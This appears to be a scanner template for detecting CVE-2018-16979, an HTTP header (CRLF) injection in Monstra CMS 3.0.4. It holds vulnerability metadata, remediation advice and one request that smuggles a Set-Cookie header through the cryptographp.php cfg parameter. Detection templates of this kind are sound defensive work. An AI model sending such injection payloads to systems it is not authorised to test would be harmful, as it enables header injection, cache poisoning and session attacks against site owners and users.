id: CVE-2018-16979 info: name: Monstra CMS 3.0.4 - HTTP Header Injection author: 0x_Akoko severity: medium description: | Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943. impact: | This vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and remote code execution (RCE). remediation: | Upgrade Monstra CMS to version 3.0.5 or later to mitigate the HTTP Header Injection vulnerability. reference: - https://github.com/howchen/howchen/issues/4 - https://nvd.nist.gov/vuln/detail/CVE-2018-16979 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-16979 cwe-id: CWE-113 epss-score: 0.00118 epss-percentile: 0.45685 cpe: cpe:2.3:a:monstra:monstra:3.0.4:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: monstra product: monstra tags: cve2018,cve,crlf,mostra,mostracms,cms,monstra,xss http: - method: GET path: - "{{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1" matchers-condition: and matchers: - type: word part: body words: - 'new line detected in' - 'cryptographp.php' condition: and - type: status status: - 200 # digest: 4a0a00473045022100c18429b3df39899215a6749447228f848fff33a976a360448c67e01a32aef22f0220663b413c5537dca793b988a998a617130508838787f1281466ad96c34f8e0c37:922c64590222798bb761d5b6d8e72950